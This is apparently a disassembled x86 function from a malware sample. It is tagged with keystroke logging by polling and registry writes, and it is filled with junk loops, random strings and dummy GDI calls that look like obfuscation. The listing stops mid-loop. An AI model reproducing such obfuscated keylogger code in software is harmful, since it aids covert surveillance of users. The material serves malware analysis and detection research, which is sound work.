Function at 0x461687
Capabilities:
Allocate thread local storage
Log keystrokes via polling
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xaf0
push esi
push edi
mov dword [ebp - 0x54], 0x2971c1e
mov dword [ebp - 0x5c], 0x18d9dce
push 3
lea ecx, [ebp - 0x670]
call fcn.004179d7
mov dword [ebp - 0x298], 0x58efa97
mov dword [ebp - 0x2a0], 0xadaa237f
mov dword [ebp - 0x784], 0x42796a45
mov dword [ebp - 0x2b8], 0x72de
mov dword [ebp - 0x58c], str.nbyriiic_fmsboua_dilhi_brkgfvl_uohcvpy_fdwqyxssr_ddwwlh_nlnhbqwa_ddkaww_suxaoagru_jnntnqfjm_dvcbcch
cmp dword [ebp - 0x2b8], 0x74a3
jle 0x461775
and dword [ebp - 0x74], 0
jmp 0x4616fc
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x1e63
jge 0x461775
and dword [ebp - 0x204], 0
jmp 0x46171b
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x3ce7
jge 0x461773
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x204]
sar eax, cl
cdq
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x594], edx
push dword [ebp - 0x594]
push dword [ebp - 0x598]
lea ecx, [ebp - 0x9e8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x9e8]
call fcn.00401711
jmp 0x46170e
jmp 0x4616f5
mov dword [ebp - 0x7c], 0
jmp 0x461785
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 3
jge 0x4617a1
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x670]
call fcn.00417bb8
mov dword [eax], 0x3e713e19
jmp 0x46177e
cmp dword [ebp - 0x2b8], 0x70e5
jge 0x4617b9
push dword [ebp - 0x58c]
call fcn.004f1488
pop ecx
mov eax, dword [ebp - 0x298]
dec eax
mov dword [ebp - 0x298], eax
push 0
lea ecx, [ebp - 0x670]
call fcn.00417bb8
mov dword [ebp - 0x540], eax
push 0
lea ecx, [ebp - 0x670]
call fcn.00417bb8
mov ecx, dword [ebp - 0x540]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x540]
cmp eax, dword [ecx]
je 0x461815
mov eax, 0x48aab564
test eax, eax
je 0x461815
mov dword [ebp - 0x548], 1
jmp 0x46181c
and dword [ebp - 0x548], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], eax
jle 0x461830
mov dword [ebp - 0x2ac], 1
jmp 0x461837
and dword [ebp - 0x2ac], 0
mov eax, dword [ebp - 0x548]
cmp eax, dword [ebp - 0x2ac]
jl 0x461851
mov dword [ebp - 0x538], 1
jmp 0x461858
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0
jne 0x461885
mov eax, 0x2ae8
test eax, eax
jne 0x461885
and dword [ebp - 0x77c], 0
jmp 0x46188f
mov dword [ebp - 0x77c], 1
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x87c], eax
mov eax, 0x2d50c857
cmp eax, 0xec0dcee
jle 0x4618b0
mov dword [ebp - 0x3fc], 1
jmp 0x4618b7
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x3fc]
sub eax, 0x789bd89d
cmp eax, dword [ebp - 0x54]
jl 0x4618d3
mov dword [ebp - 0x2b4], 1
jmp 0x4618da
and dword [ebp - 0x2b4], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x2b4], eax
jg 0x4618f5
mov eax, 0x8d8131dd
test eax, eax
je 0x4618f5
cmp dword [ebp - 0x2a0], 0
mov eax, dword [ebp - 0x5c]
imul eax, dword [ebp - 0x54]
test eax, eax
jne 0x46191b
push 1
lea ecx, [ebp - 0x670]
call fcn.00417bb8
cmp dword [eax], 0
jne 0x46191b
and dword [ebp - 0x4a4], 0
jmp 0x461925
mov dword [ebp - 0x4a4], 1
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x4a4]
jl 0x46193c
mov dword [ebp - 0x2bc], 1
jmp 0x461943
and dword [ebp - 0x2bc], 0
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x784], eax
mov byte [ebp - 0x3b], 0
movzx eax, byte [ebp - 0x3b]
test eax, eax
je 0x461969
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetPixel]
lea ecx, [ebp - 0x670]
call fcn.00417aef
mov dword [ebp - 0x1c], 0xfffffffb
mov dword [ebp - 0x688], 0xfffb
mov dword [ebp - 0x590], 0xfffffffd
mov dword [ebp - 0x860], 0xc6daafd5
mov dword [ebp - 0x404], 0x4dee
mov dword [ebp - 0x78c], str.olj_yfg_qmjq_udnp_rggiclqbq_uoluyg_fxyhto
cmp dword [ebp - 0x404], 0x50e3
jle 0x461a87
and dword [ebp - 0x258], 0
jmp 0x4619d3
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0x7d6c
jge 0x461a87
and dword [ebp - 0x184], 0
jmp 0x4619f9
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x6010
jge 0x461a82
and dword [ebp - 0x84], 0
jmp 0x461a1b
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x32dd
jge 0x461a7d
mov eax, dword [ebp - 0x184]
cdq
idiv dword [ebp - 0x84]
and edx, dword [ebp - 0x258]
mov eax, edx
cdq
mov dword [ebp - 0x5a4], eax
mov dword [ebp - 0x5a0], edx
push dword [ebp - 0x5a0]
push dword [ebp - 0x5a4]
lea ecx, [ebp - 0x8f8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x8f8]
call fcn.00401711
jmp 0x461a0e
jmp 0x4619ec
jmp 0x4619c6
cmp dword [ebp - 0x404], 0x4bce
jge 0x461a9f
push dword [ebp - 0x78c]
call fcn.004f1488
pop ecx
push 3
lea ecx, [ebp - 0x808]
call fcn.004179d7
mov dword [ebp - 0x2c4], 0x7d92
mov dword [ebp - 0x54c], str.cupousppk_vwbnxd_yudfjy_ddve
cmp dword [ebp - 0x2c4], 0x7e4f
jle 0x461b68
and dword [ebp - 0x8c], 0
jmp 0x461ae6
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x28fd
jge 0x461b68
and dword [ebp - 0x18c], 0
jmp 0x461b08
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x9fa
jge 0x461b63
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x18c]
shl eax, cl
cdq
mov dword [ebp - 0x5b0], eax
mov dword [ebp - 0x5ac], edx
push dword [ebp - 0x5ac]
push dword [ebp - 0x5b0]
lea ecx, [ebp - 0xa78]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0xa78]
call fcn.00401711
jmp 0x461afb
jmp 0x461ad9
cmp dword [ebp - 0x2c4], 0x7d7f
jge 0x461b80
push dword [ebp - 0x54c]
call fcn.004f1488
pop ecx
mov dword [ebp - 8], 0
jmp 0x461b90
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jge 0x461ba6
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x274], 0xffffffff
jmp 0x461b89
mov dword [ebp - 0x534], 0x3e8a
mov dword [ebp - 0x564], str.yvthblqh_pjcrtxr_suufr_akfdgx_npunfoh_fpkx_iuryupiij_rtio_qbjyumpsp_vpxielpw_kcob_sxjuf_cwi
cmp dword [ebp - 0x534], 0x4076
jle 0x461c72
and dword [ebp - 0x94], 0
jmp 0x461be0
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x4a89
jge 0x461c72
and dword [ebp - 0x20c], 0
jmp 0x461c06
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0x1b6b
jge 0x461c6d
and dword [ebp - 0x9c], 0
jmp 0x461c28
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x1a36
jge 0x461c6b
mov eax, dword [ebp - 0x94]
sub eax, dword [ebp - 0x20c]
add eax, dword [ebp - 0x9c]
cdq
mov dword [ebp - 0x5bc], eax
mov dword [ebp - 0x5b8], edx
push dword [ebp - 0x5b8]
push dword [ebp - 0x5bc]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x461c1b
jmp 0x461bf9
jmp 0x461bd3
mov dword [ebp - 8], 0
jmp 0x461c82
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jge 0x461c98
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x8b0], 0x7ad46d2
jmp 0x461c7b
cmp dword [ebp - 0x534], 0x3c7e
jge 0x461cb4
mov edx, dword [ebp - 0x564]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x2cc], 0x6e88
mov dword [ebp - 0x55c], str.rvy_wwacllu_brqsetnh_hlmikxk_hryod_xrjsawk_blauhiip_alkb_kixtnskf
cmp dword [ebp - 0x2cc], 0x716e
jle 0x461d7f
and dword [ebp - 0x194], 0
jmp 0x461cee
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x775
jge 0x461d71
and dword [ebp - 0xa4], 0
jmp 0x461d10
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x32cc
jge 0x461d6c
mov eax, dword [ebp - 0x194]
cdq
idiv dword [ebp - 0xa4]
mov eax, edx
cdq
mov dword [ebp - 0x5c8], eax
mov dword [ebp - 0x5c4], edx
push dword [ebp - 0x5c4]
push dword [ebp - 0x5c8]
lea ecx, [ebp - 0x928]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x928]
call fcn.00401711
jmp 0x461d03
jmp 0x461ce1
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
mov dword [ebp - 8], 0
jmp 0x461d8f
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jge 0x461dab
push dword [ebp - 8]
lea ecx, [ebp - 0x808]
call fcn.00417bb8
mov dword [eax], 1
jmp 0x461d88
cmp dword [ebp - 0x2cc], 0x6c7b
jge 0x461dc3
push dword [ebp - 0x55c]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x4bc], 0xd40
mov dword [ebp - 0x59c], str.gfjwttbx_tlwp_rtqseguef_escmkmtx_vgwlvwgjv_rfywe
cmp dword [ebp - 0x4bc], 0xf3a
jle 0x461e5c
and dword [ebp - 0x234], 0
jmp 0x461df9
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x5ae
jge 0x461e5c
and dword [ebp - 0xac], 0
jmp 0x461e1b
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x15dd
jge 0x461e5a
mov eax, dword [ebp - 0x234]
mov ecx, dword [ebp - 0xac]
sar eax, cl
cdq
mov dword [ebp - 0x5d4], eax
mov dword [ebp - 0x5d0], edx
push dword [ebp - 0x5d0]
push dword [ebp - 0x5d4]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x461e0e
jmp 0x461dec
mov dword [ebp - 0x1c], 0
jmp 0x461e6c
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x17
jl 0x462a66
mov dword [ebp - 0xc], 0xdbeccce1
mov dword [ebp - 0x40c], 0xdd9
mov dword [ebp - 0x560], str.wcu_cpvug_ehkvqni_ylmeosqgq_wssulcb_iprt_ceuc_ptaovhqqu
cmp dword [ebp - 0x40c], 0xf26
jle 0x461f45
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
and dword [ebp - 0x19c], 0
jmp 0x461ec5
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x14bf
jge 0x461f45
and dword [ebp - 0xb4], 0
jmp 0x461ee7
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0x747b
jge 0x461f40
mov eax, dword [ebp - 0x19c]
sub eax, dword [ebp - 0xb4]
cdq
mov dword [ebp - 0x5e0], eax
mov dword [ebp - 0x5dc], edx
push dword [ebp - 0x5dc]
push dword [ebp - 0x5e0]
lea ecx, [ebp - 0xa18]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0xa18]
call fcn.00401711
jmp 0x461eda
jmp 0x461eb8
mov dword [ebp - 0x30], 0x1932
cmp dword [ebp - 0x40c], 0xd55
jge 0x461f64
push dword [ebp - 0x560]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x2d4], 0x3770
mov dword [ebp - 0x780], str.yuwvy_ukvjmo_hhncyl_yugfdugek_aypge_gvw_jxwx_esayqqhhj_nehdun_sshaxjix_seged
cmp dword [ebp - 0x2d4], 0x3b4e
jle 0x462020
and dword [ebp - 0x214], 0
jmp 0x461f9e
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x3dba
jge 0x462020
and dword [ebp - 0xbc], 0
jmp 0x461fc0
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0x4b2f
jge 0x46201b
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 0xbc]
shl eax, cl
cdq
mov dword [ebp - 0x5ec], eax
mov dword [ebp - 0x5e8], edx
push dword [ebp - 0x5e8]
push dword [ebp - 0x5ec]
lea ecx, [ebp - 0x958]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x958]
call fcn.00401711
jmp 0x461fb3
jmp 0x461f91
mov dword [ebp - 0x30c], 0
cmp dword [ebp - 0x2d4], 0x35f2
jge 0x462042
push dword [ebp - 0x780]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x838], 0xc6bcfb65
mov dword [ebp - 0x878], 9
push 2
lea ecx, [ebp - 0x7f8]
call fcn.004179d7
mov dword [ebp - 0x4ac], 0x2a72
mov dword [ebp - 0x568], str.aqfdskj_hsh_gmxbmnpyf_alw_dtbsr_hbyi
cmp dword [ebp - 0x4ac], 0x2c7c
jle 0x462151
and dword [ebp - 0x1a4], 0
jmp 0x46209d
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x399f
jge 0x462151
and dword [ebp - 0xc4], 0
jmp 0x4620c3
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x3b91
jge 0x46214c
and dword [ebp - 0x250], 0
jmp 0x4620e5
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0x7f48
jge 0x462147
mov eax, dword [ebp - 0x1a4]
cdq
idiv dword [ebp - 0xc4]
or edx, dword [ebp - 0x250]
mov eax, edx
cdq
mov dword [ebp - 0x5f8], eax
mov dword [ebp - 0x5f4], edx
push dword [ebp - 0x5f4]
push dword [ebp - 0x5f8]
lea ecx, [ebp - 0xad8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0xad8]
call fcn.00401711
jmp 0x4620d8
jmp 0x4620b6
jmp 0x462090
mov dword [ebp - 0x42c], 0xb57606ab
cmp dword [ebp - 0x4ac], 0x29cd
jge 0x462173
push dword [ebp - 0x568]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x2dc], 0x2a52
mov dword [ebp - 0x67c], str.ujf_djox_ogarotn_pqmwg
cmp dword [ebp - 0x2dc], 0x2c50
jle 0x462295
and dword [ebp - 0x21c], 0
jmp 0x4621ad
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x5d43
jge 0x462295
and dword [ebp - 0xd4], 0
jmp 0x4621d3
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x4c45
jge 0x462290
and dword [ebp - 0xcc], 0
jmp 0x4621f9
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x1b9d
jge 0x46228b
and dword [ebp - 0x1ac], 0
jmp 0x46221f
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x656a
jge 0x462286
mov ecx, dword [ebp - 0xcc]
add ecx, dword [ebp - 0x1ac]
mov eax, dword [ebp - 0xd4]
sar eax, cl
and eax, dword [ebp - 0x21c]
cdq
mov dword [ebp - 0x604], eax
mov dword [ebp - 0x600], edx
push dword [ebp - 0x600]
push dword [ebp - 0x604]
lea ecx, [ebp - 0x988]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x988]
call fcn.00401711
jmp 0x462212
jmp 0x4621ec
jmp 0x4621c6
jmp 0x4621a0
mov dword [ebp - 0xdc], 0
jmp 0x4622ae
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 2
jge 0x4622d0
push dword [ebp - 0xdc]
lea ecx, [ebp - 0x7f8]
call fcn.00417bb8
mov dword [eax], 0xc1d66bd5
jmp 0x4622a1
cmp dword [ebp - 0x2dc], 0x29bc
jge 0x4622e8
push dword [ebp - 0x67c]
call fcn.004f1488
pop ecx
mov dword [ebp - 0xc], 0
jmp 0x4622f8
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 2
jg 0x462925
mov dword [ebp - 0x414], 0x63a3
mov dword [ebp - 0x570], str.yfitjemu_dsgvroucg_aklr_lns_jqanbriy
cmp dword [ebp - 0x414], 0x64aa
jle 0x4623d2
and dword [ebp - 0x1b4], 0
jmp 0x46233c
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0xf6d
jge 0x4623bc
and dword [ebp - 0xe4], 0
jmp 0x46235e
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x13e3
jge 0x4623b7
mov eax, dword [ebp - 0x1b4]
xor eax, dword [ebp - 0xe4]
cdq
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x60c], edx
push dword [ebp - 0x60c]
push dword [ebp - 0x610]
lea ecx, [ebp - 0xa48]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0xa48]
call fcn.00401711
jmp 0x462351
jmp 0x46232f
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtTextOutA]
mov dword [ebp - 0x840], 2
cmp dword [ebp - 0x414], 0x638c
jge 0x4623f4
push dword [ebp - 0x570]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x2e4], 0x6bc0
mov dword [ebp - 0x70c], str.luhhcuj_vandsd_jyk_gndcrtrl_gnjf_xfe_kwsh_hljuutp_dbmwshcms_hvjwkaex_qpbpbihos
cmp dword [ebp - 0x2e4], 0x6e52
jle 0x4624b0
and dword [ebp - 0x1e4], 0
jmp 0x46242e
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x3631
jge 0x4624b0
and dword [ebp - 0xec], 0
jmp 0x462450
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x1352
jge 0x4624ab
mov eax, dword [ebp - 0x1e4]
mov ecx, dword [ebp - 0xec]
sar eax, cl
cdq
mov dword [ebp - 0x61c], eax
mov dword [ebp - 0x618], edx
push dword [ebp - 0x618]
push dword [ebp - 0x61c]
lea ecx, [ebp - 0x9b8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x9b8]
call fcn.00401711
jmp 0x462443
jmp 0x462421
cmp dword [ebp - 0x2e4], 0x6a38
jge 0x4624c8
push dword [ebp - 0x70c]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x4fc], 0x41d8
mov dword [ebp - 0x578], str.ytyxutlhc_segfuts_wmjmxcoq_tvlmxaghl_xtnho_dwb_uik_sccgk_eniqe_afg_innxjqg_idffeehf_cidhdpn_lie
cmp dword [ebp - 0x4fc], 0x44dd
jle 0x462596
and dword [ebp - 0x1bc], 0
jmp 0x462502
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x56cf
jge 0x462596
and dword [ebp - 0xf4], 0
jmp 0x462528
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x1763
jge 0x462591
and dword [ebp - 0x1e8], 0
jmp 0x46254a
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x5993
jge 0x46258f
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0xf4]
shl eax, cl
or eax, dword [ebp - 0x1e8]
cdq
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x624], edx
push dword [ebp - 0x624]
push dword [ebp - 0x628]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x46253d
jmp 0x46251b
jmp 0x4624f5
mov dword [ebp - 0xfc], 0
jmp 0x4625af
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 2
jge 0x4625cb
mov eax, dword [ebp - 0xfc]
mov dword [ebp + eax*4 - 0x894], 0x4a132979
jmp 0x4625a2
cmp dword [ebp - 0x4fc], 0x40c8
jge 0x4625e7
mov edx, dword [ebp - 0x578]
mov ecx, 0xac7538
call fcn.0041c2dd
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x274]
mov dword [ebp - 0x868], eax
mov eax, dword [ebp - 0xc]
cmp dword [ebp + eax*4 - 0x274], 0
jne 0x46269d
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x848], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jg 0x462625
mov dword [ebp - 0x2ec], 1
jmp 0x46262c
and dword [ebp - 0x2ec], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x274]
cmp dword [ebp - 0x2ec], eax
jle 0x46264a
mov dword [ebp - 0x41c], 1
jmp 0x462651
and dword [ebp - 0x41c], 0
cmp dword [ebp - 0x41c], 0
jne 0x462673
mov eax, dword [ebp - 0xc]
cmp dword [ebp + eax*4 - 0x274], 0
je 0x462673
mov dword [ebp - 0x2f4], 1
jmp 0x46267a
and dword [ebp - 0x2f4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x274]
cmp dword [ebp - 0x2f4], eax
jg 0x46269d
cmp dword [ebp - 0xc], 0
jne 0x46269d
and dword [ebp - 0x4b4], 0
jmp 0x4626a7
mov dword [ebp - 0x4b4], 1
cmp dword [ebp - 0x4b4], 0xffffffff
jg 0x4626bc
mov dword [ebp - 0x2fc], 1
jmp 0x4626c3
and dword [ebp - 0x2fc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x274]
imul eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1c]
je 0x4626f1
cmp dword [ebp - 0x688], 0
je 0x4626f1
mov dword [ebp - 0x424], 1
jmp 0x4626f8
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0
jmp 0x462711
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jg 0x462920
mov dword [ebp - 0x694], 3
mov dword [ebp - 0x888], 0xca7a22f0
mov dword [ebp - 0x304], 0x9cc
mov dword [ebp - 0x580], str.pmmxihc_uwssvcbk_wptlmhepu_oqclock_whdba_iuj_ohlcnkl_vdpeb_prnwfltjb_qwwkxx_wrdyuwqm_ulnasmr
cmp dword [ebp - 0x304], 0xc01
jle 0x4627e9
and dword [ebp - 0x1c4], 0
jmp 0x462769
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x730c
jge 0x4627e9
and dword [ebp - 0x104], 0
jmp 0x46278b
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x1687
jge 0x4627e4
mov eax, dword [ebp - 0x1c4]
sub eax, dword [ebp - 0x104]
cdq
mov dword [ebp - 0x634], eax
mov dword [ebp - 0x630], edx
push dword [ebp - 0x630]
push dword [ebp - 0x634]
lea ecx, [ebp - 0xaa8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0xaa8]
call fcn.00401711
jmp 0x46277e
jmp 0x46275c
mov dword [ebp - 0x850], 0x93911e74
cmp dword [ebp - 0x304], 0x744
jge 0x46280b
push dword [ebp - 0x580]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x870], 0xfffffffe
push 2
lea ecx, [ebp - 0x7e8]
call fcn.004179d7
mov dword [ebp - 0x1f0], 0
jmp 0x46283b
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 2
jge 0x46285d
push dword [ebp - 0x1f0]
lea ecx, [ebp - 0x7e8]
call fcn.00417bb8
mov dword [eax], 0x689278a4
jmp 0x46282e
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x274]
mov dword [ebp - 0x858], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x274]
mov dword [ebp - 0x834], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x274]
mov dword [ebp - 0x83c], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x4628a1
mov dword [ebp - 0x524], 1
jmp 0x4628a8
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x524]
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0x5016
jg 0x4628cf
cmp dword [ebp - 0xc], 0
jne 0x4628cf
and dword [ebp - 0x754], 0
jmp 0x4628d9
mov dword [ebp - 0x754], 1
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x274]
mov dword [ebp - 0x588], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x588]
mov dword [ebp + eax*4 - 0x274], ecx
mov dword [ebp - 0x694], 0x9bf0bb9a
mov eax, dword [ebp - 0x42c]
dec eax
mov dword [ebp - 0x42c], eax
lea ecx, [ebp - 0x7e8]
call fcn.00417aef
jmp 0x46270a
jmp 0x4622f1
mov dword [ebp - 0x314], 0x15a7
mov dword [ebp - 0x718], str.jdecjne_jmancssa_oobywdv_fntan
cmp dword [ebp - 0x314], 0x17f0
jle 0x462a30
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
and dword [ebp - 0x10c], 0
jmp 0x46296b
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x317f
jge 0x462a30
and dword [ebp - 0x1cc], 0
jmp 0x462991
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x5866
jge 0x462a2b
and dword [ebp - 0x114], 0
jmp 0x4629b7
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x6b8a
jge 0x462a26
and dword [ebp - 0x1f8], 0
jmp 0x4629d9
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0x2c44
jge 0x462a24
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x1cc]
